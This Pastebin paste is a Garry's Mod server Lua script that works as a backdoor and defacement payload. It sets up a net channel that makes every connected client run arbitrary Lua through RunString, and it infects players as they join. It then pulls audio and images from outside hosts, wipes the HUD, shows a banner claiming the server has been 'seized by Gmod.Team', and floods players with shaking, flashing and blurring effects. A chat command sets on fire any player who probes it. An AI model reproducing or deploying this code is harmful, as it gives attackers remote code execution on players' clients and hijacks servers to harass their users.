2much4Us

Untitled

Jul 1st, 2018
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.86 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99.  
  100. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306958-hud.png", "hud1", 300, 128 )
  101. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  102. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  103. LoadWebMaterial( "https://i.imgur.com/JMv2zwN.png", "doritos", 183, 256 )
  104. LoadWebMaterial( "https://i.imgur.com/JMv2zwN.png", "fedora", 256, 256 )
  105. LoadWebMaterial( "https://i.imgur.com/JMv2zwN.png", "dew", 110, 256 )
  106. LoadWebMaterial( "https://i.imgur.com/JMv2zwN.png", "awp", 256, 55 )
  107. ]=]):format(lol.m_strImageLoadHTML) )
  108. end )
  109.  
  110. --HUD swap
  111. lol:PushAction( 31, function( pPlayer )
  112. lol:SendLua( pPlayer, [[
  113. (GAMEMODE or GM).CalcView = function() end
  114. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  115.  
  116. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  117. for k, v in pairs(remove) do
  118. hook.GetTable()[v] = {}
  119. end
  120.  
  121. local function GetWebMat( strURL )
  122. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  123. end
  124.  
  125. hook.Add( "HUDPaint", "newhud", function()
  126. surface.SetDrawColor( 255, 255, 255, 255 )
  127.  
  128.  
  129. local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("http://zimb.club/zimb/disco2.gif")
  130. local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("http://zimb.club/zimb/disco2.gif")
  131. surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
  132. surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
  133. local newsPan1 = vgui.Create("DPanel")
  134. newsPan1:SetSize(ScrW(), 150)
  135. newsPan1:SetPos(0, ScrH()-150)
  136. newsPan1.Paint = function()
  137. surface.SetDrawColor(255,255,255,255)
  138. surface.DrawRect(0,0,newsPan1:GetWide(),newsPan1:GetTall())
  139. surface.SetDrawColor(190,10,10,255)
  140. surface.DrawRect(0,4,newsPan1:GetWide(),newsPan1:GetTall())
  141. end
  142. local newsPan2 = vgui.Create("DPanel")
  143. newsPan2:SetSize(ScrW(),ScrH())
  144. newsPan2:SetPos(0,0)
  145. newsPan2.Paint = function()
  146. local trap3 = {
  147. {x = ScrW()-504, y = ScrH()-150},
  148. {x = ScrW()-439, y = ScrH()-254},
  149. {x = ScrW(), y = ScrH()-254},
  150. {x = ScrW(), y = ScrH()-150},
  151. }
  152. local trap4 = {
  153. {x = ScrW()-500, y = ScrH()-146},
  154. {x = ScrW()-435, y = ScrH()-250},
  155. {x = ScrW(), y = ScrH()-250},
  156. {x = ScrW(), y = ScrH()-146},
  157. }
  158. local trap5 = {
  159. {x = ScrW()-475, y = ScrH()-156},
  160. {x = ScrW()-432, y = ScrH()-235},
  161. {x = ScrW()-8, y = ScrH()-235},
  162. {x = ScrW()-8, y = ScrH()-156},
  163. }
  164. draw.NoTexture()
  165. surface.SetDrawColor(255,255,255,255)
  166. surface.DrawPoly(trap3)
  167. draw.NoTexture()
  168. surface.SetDrawColor(200,20,20,255)
  169. surface.DrawPoly(trap4)
  170. draw.NoTexture()
  171. surface.SetDrawColor(190,10,10,180)
  172. surface.DrawPoly(trap5)
  173. end
  174. local title2 = vgui.Create("DLabel", newsPan2)
  175. title2:SetFont("NEWS1")
  176. title2:SetText("Gmod News")
  177. title2:SizeToContents()
  178. title2:SetPos(ScrW()-title2:GetWide()-55, ScrH()-254+title2:GetTall()/2-12)
  179. title2:SetColor(Color(255,255,255))
  180.  
  181. local title3 = vgui.Create("DLabel", newsPan1)
  182. title3:SetFont("NEWS2")
  183. title3:SetText("Breaking News " .. GetHostName() .. " Has Been Seized By Gmod.Team")
  184. title3:SizeToContents()
  185. title3:SetPos(ScrW(), 10)
  186. title3:SetColor(Color(255,255,255))
  187. timer.Create("movingtext2",.05,0,function()
  188. if title3:GetPos() >= 0-title3:GetWide() then
  189. title3:SetPos(Lerp(.5,title3:GetPos(),title3:GetPos()-10),10)
  190. else
  191. title3:SetPos(ScrW(),10)
  192. end
  193. end )
  194.  
  195. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  196. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  197.  
  198. surface.PlaySound( "garrysmod/save_load4.wav" )
  199. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  200. ]] )
  201. end )
  202.  
  203. --Disco time
  204. lol:PushAction( 10, function( pPlayer )
  205. local idx = pPlayer:EntIndex()
  206. timer.Create( "beat".. idx, 0.42, 0, function()
  207. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  208. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  209. end )
  210.  
  211. lol:SendLua( pPlayer, [[
  212. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  213. local time = 0
  214.  
  215. hook.Add( "Think", "wat", function()
  216. if CurTime() < time then
  217. return
  218. end
  219.  
  220. time = CurTime() +0.05
  221. for i = 1, 16 do
  222. local part = emitter:Add(
  223. "particles/balloon_bit",
  224. LocalPlayer():GetPos() +Vector(
  225. math.random( -256, 256 ),
  226. math.random( -256, 256 ),
  227. 256
  228. )
  229. )
  230.  
  231. if part then
  232. local Size = math.random( 4, 7 )
  233.  
  234. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  235. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  236. part:SetDieTime( 4.5 )
  237. part:SetGravity( Vector(40, 0, -250) )
  238. part:SetLifeTime( 0 )
  239. part:SetStartSize( Size /2 )
  240. part:SetEndSize( Size )
  241. part:SetCollide( true )
  242. end
  243. end
  244. end )
  245. ]] )
  246.  
  247. lol:SendLua( pPlayer, [[
  248. hook.Add( "RenderScreenspaceEffects", "wat", function()
  249. local sinScaler = math.sin( CurTime() )
  250. DrawBloom(
  251. 0,
  252. 3,
  253. sinScaler *math.Rand(1, 8),
  254. sinScaler *math.Rand(1, 8),
  255. 6,
  256. math.Rand(0.5, 2),
  257. math.Rand(0, 0.3),
  258. math.Rand(0, 0.3),
  259. math.Rand(0.5, 1)
  260. )
  261.  
  262. DrawColorModify{
  263. ["$pp_colour_addr"] = 1,
  264. ["$pp_colour_addg"] = 0,
  265. ["$pp_colour_addb"] = 00,
  266. ["$pp_colour_brightness" ] = 0,
  267. ["$pp_colour_contrast" ] = 1,
  268. ["$pp_colour_colour" ] = 1,
  269. ["$pp_colour_mulr" ] = 0,
  270. ["$pp_colour_mulg" ] = 0,
  271. ["$pp_colour_mulb" ] = 0
  272. }
  273. end )
  274.  
  275. local mdl = ClientsideModel( "models/player/zombie_classic.mdl", RENDERGROUP_BOTH )
  276. mdl:SetNoDraw( true )
  277. local posCache, time = {}, 0
  278.  
  279. hook.Add( "HUDPaint", "dance", function()
  280. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  281. local idx = mdl:LookupSequence("taunt_dance")
  282. mdl.SeqDuration = mdl:SequenceDuration( idx )
  283. mdl.SeqStart = CurTime()
  284. mdl:ResetSequence( idx )
  285. end
  286.  
  287. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  288.  
  289.  
  290. local w, h = 300, 300
  291. local ang = Angle( 0, 0, 0 )
  292.  
  293. for i = 1, 32 do
  294. if CurTime() > time then
  295. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  296. end
  297. local x, y = posCache[i][1], posCache[i][2]
  298.  
  299. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  300. cam.IgnoreZ( true )
  301. render.SuppressEngineLighting( true )
  302.  
  303. render.SetLightingOrigin( mdl:GetPos() )
  304. render.ResetModelLighting( 1, 1, 1 )
  305. render.SetColorModulation( 0, 0, 1 )
  306.  
  307. mdl:DrawModel()
  308.  
  309. render.SuppressEngineLighting( false )
  310. cam.IgnoreZ( false )
  311. cam.End3D()
  312. end
  313.  
  314. if CurTime() > time then
  315. time = CurTime() +0.15
  316. end
  317. end )
  318.  
  319. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  320. ]] )
  321. end )
  322.  
  323. --Let the beat drop
  324. lol:PushAction( 54, function( pPlayer )
  325. lol:SendLua( pPlayer, [[
  326. hook.Add( "GetMotionBlurValues", "wat", function()
  327. return 0, 0, 1, math.sin(CurTime() *13)
  328. end )
  329.  
  330. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  331. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  332. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  333. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  334. end )
  335.  
  336. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  337. render.SetMaterial( Material("cable/blue_elec") )
  338. for i = 1, 32 do
  339. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  340. end
  341. end )
  342.  
  343. timer.Create( "thedrop", 0.42, 0, function()
  344. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  345. end )
  346. ]] )
  347. end )
Advertisement
Add Comment
Please, Sign In to add comment